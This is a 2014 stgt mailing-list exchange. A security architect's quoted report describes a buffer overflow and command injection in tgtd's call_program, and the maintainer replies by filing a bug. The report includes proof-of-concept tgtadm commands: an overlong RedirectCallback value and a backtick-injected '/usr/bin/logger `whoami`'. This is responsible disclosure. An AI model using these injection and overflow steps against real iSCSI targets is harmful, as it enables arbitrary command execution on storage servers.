[stgt] tgtd buffer overflow and command injection vulnerabilities
Hitoshi Mitake
mitake.hitoshi at gmail.com
Fri Jun 13 04:27:38 CEST 2014
At Tue, 10 Jun 2014 19:17:35 +0000,
Hullinger, Jason (Cloud Services) wrote:
>
> TGT Team:
>
> The function call_program in the tgtd daemon includes a callback function
> that will run arbitrary commands. Additionally, it does not check that the
> cmd argument is smaller than the allocated buffer size causing a buffer
> overflow. Example and proof of concept:
>
> usr/tgtd.c
>
> int call_program(const char *cmd, void (*callback)(void *data, int result),
> void *data, char *output, int op_len, int flags)
> ...
> char *pos, arg[256];
> ...
> str_spacecpy(&pos, cmd);
>
> Where str_spacecpy (usr/tgtd.c) chops multiple white spaces into one white
> space. It takes a dest buffer and copies into a src buffer:
>
> void str_spacecpy(char **dest, const char *src)
>
> call_program is called from usr/target.c in get_redirect_address
>
> static int
> get_redirect_address(char *callback, char *buffer, int buflen,
> char **address, char **ip_port, int *rsn)
> ...
> if (call_program(callback, NULL, NULL, buffer, buflen, 0))
> ...
>
> Where get_redirect_address is called from usr/target.c by:
>
> int target_redirected(struct iscsi_target *target,
> struct iscsi_connection *conn, char *buf, int *reason)
> ...
> char dst[INET6_ADDRSTRLEN], in_buf[1024];
> ...
> ret = get_redirect_address(in_buf, buffer,
> sizeof(buffer), &addr, &port, &rsn);
> ...
>
> in_buf, size 1024, is passed to call_program as 'cmd', which then copies
> into the dest char buffer of size 256 causing a buffer overflow.
>
> In addition to that, any arbitrary command line argument that is pass in
> by tgtadm will be executed. Example:
>
> sudo tgtd -C 1 --iscsi portal=127.0.0.1:860
> sudo ./scripts/tgt-admin -C 1 -e -c /home/ubuntu/tgt/targets.confg
>
> (in a different shell) sudo gdb --args tgtd -f -C 2 --iscsi
> portal=127.0.0.1
> sudo ./scripts/tgt-admin -C 2 -e -c /home/ubuntu/tgt/targets.confg
>
> sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectAddress
> --value 127.0.0.1
> sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectPort
> --value 860
> sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectReason
> --value Temporary
>
> sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback
> --value
> 1zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
> zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
> zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
> zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
> zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
> zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
> zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
>
> sudo iscsiadm -m discovery -t st -p 127.0.0.1
> sudo iscsiadm -m node -p 127.0.0.1 -l
>
> Upon attempting to authenticate, the command set by the --name
> RedirectCallback --value tgtadm directive will attempt to be executed. If
> you replace the above example with:
>
> sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback
> --value "/usr/bin/logger `whoami`"
>
> You will see in the syslog file, where 'ubuntu' is the current user:
>
> ubuntu iqn.2014-05.local.localhost:foobar 127.0.0.1
>
> I'm a bit unclear as to what exactly is suppose to happen here, or what
> the intended result is, but it seems that arbitrary commands should not be
> allowed to be injected from tgtadm in addition to checking the strlen of
> cmd.
>
> Thanks, and let me know if I can answer or clarify any questions.
I'm still not digging in the problem, but it seems to be very
important. I added a new issue in the launchpad tracker:
https://bugs.launchpad.net/tgt-project/+bug/1329586
I'd like to fix it when I can allocate time for it, or have you
already created a patch for it?
Thanks,
Hitoshi
>
> Jason Hullinger
>
> Security Architect
> HP Helion Cloud
>
> --
> To unsubscribe from this list: send the line "unsubscribe stgt" in
> the body of a message to majordomo at vger.kernel.org
> More majordomo info at http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe stgt" in
the body of a message to majordomo at vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
More information about the stgt
mailing list